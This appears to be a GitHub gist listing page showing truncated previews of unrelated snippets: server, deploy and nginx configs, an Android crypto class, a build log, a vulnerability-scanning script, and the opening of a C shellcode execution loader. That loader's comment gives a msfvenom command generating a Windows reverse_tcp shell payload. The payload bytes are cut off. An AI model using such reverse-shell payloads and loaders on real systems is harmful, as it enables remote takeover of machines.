This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# server.py | |
from mcp.server.fastmcp import FastMCP | |
import requests | |
import json | |
# Create an MCP server | |
mcp = FastMCP("Demo") | |
# Simplify and improve error handling for retrieving CFPs | |
@mcp.tool() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
set -x | |
foo=`date +'%Y_%m_%d'` | |
database="/path/to/my/sql_app.db" | |
nucleitemplates="/path/to/my/nuclei-templates/" | |
cd $nucleitemplates | |
git pull | |
output_folder="/tmp/nuclei/$foo" | |
mkdir -p $output_folder | |
echo -e ".mode csv\n.out /tmp/nuclei/$foo/domains.csv\nselect domain from domain;" | sqlite3 $database |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"crypto/tls" | |
"io/ioutil" | |
"net/http" | |
"github.com/gin-gonic/gin" | |
wappalyzer "github.com/projectdiscovery/wappalyzergo" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.example.myapplication; | |
import android.support.v7.app.AppCompatActivity; | |
import android.os.Bundle; | |
import android.util.Base64; | |
import android.util.Log; | |
import java.security.SecureRandom; | |
import javax.crypto.Cipher; | |
import javax.crypto.spec.IvParameterSpec; | |
import javax.crypto.spec.SecretKeySpec; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
> Task :remoteClientLib:mergeDebugJniLibFolders FAILED | |
FAILURE: Build failed with an exception. | |
* What went wrong: | |
Failed to capture fingerprint of input files for task ':remoteClientLib:mergeDebugJniLibFolders' property 'sourceFolderInputs' during up-to-date check. | |
> Could not list contents of '/builds/PaulSec/kali-nethunter-kex/remoteClientLib/src/main/jniLibs/arm64-v8a'. Couldn't follow symbolic link. | |
* Try: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"version": 2, | |
"name": "android-version-checker", | |
"public": false, | |
"builds": [{ "src": "main.py", "use": "@now/python" }], | |
"routes": [ | |
{ "src": "/", "dest": "main.py" }, | |
{ "src": "/app/(.*)", "dest": "main.py" } | |
] | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
cd /path/to/my/app/ | |
source env/bin/activate | |
python manage.py makemigrations; | |
python manage.py migrate; | |
python manage.py collectstatic --noinput; | |
gunicorn --access-logfile - --workers 1 --bind unix:/path/to/my/app/socket.sock cfptime.wsgi:application |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
user www-data; | |
worker_processes 4; | |
pid /run/nginx.pid; | |
http { | |
server { | |
listen 80 default_server; | |
listen [::]:80 default_server ipv6only=on; | |
return 301 https://$host$request_uri; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.page | |
.confirm | |
.inner | |
You're about to hack time, are you Sure? | |
%input{:type => 'radio', :name => 'hack', :id => 'warp', :value => 'yes'} | |
%label{:for => 'warp'} | |
%span Yes | |
%input{:type => 'radio', :name => 'hack', :id => 'nope', :value => 'no'} | |
%label{:for => 'nope'} | |
%span No |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Compile with: cl.exe shellcode_execute.c | |
// | |
// Author: Arno0x0x, Twitter: @Arno0x0x | |
#include <Windows.h> | |
int main() | |
{ | |
// Payload obtained with "msfvenom -a x86 -p windows/shell/reverse_tcp LHOST=192.168.52.134" | |
unsigned char b[] = |
NewerOlder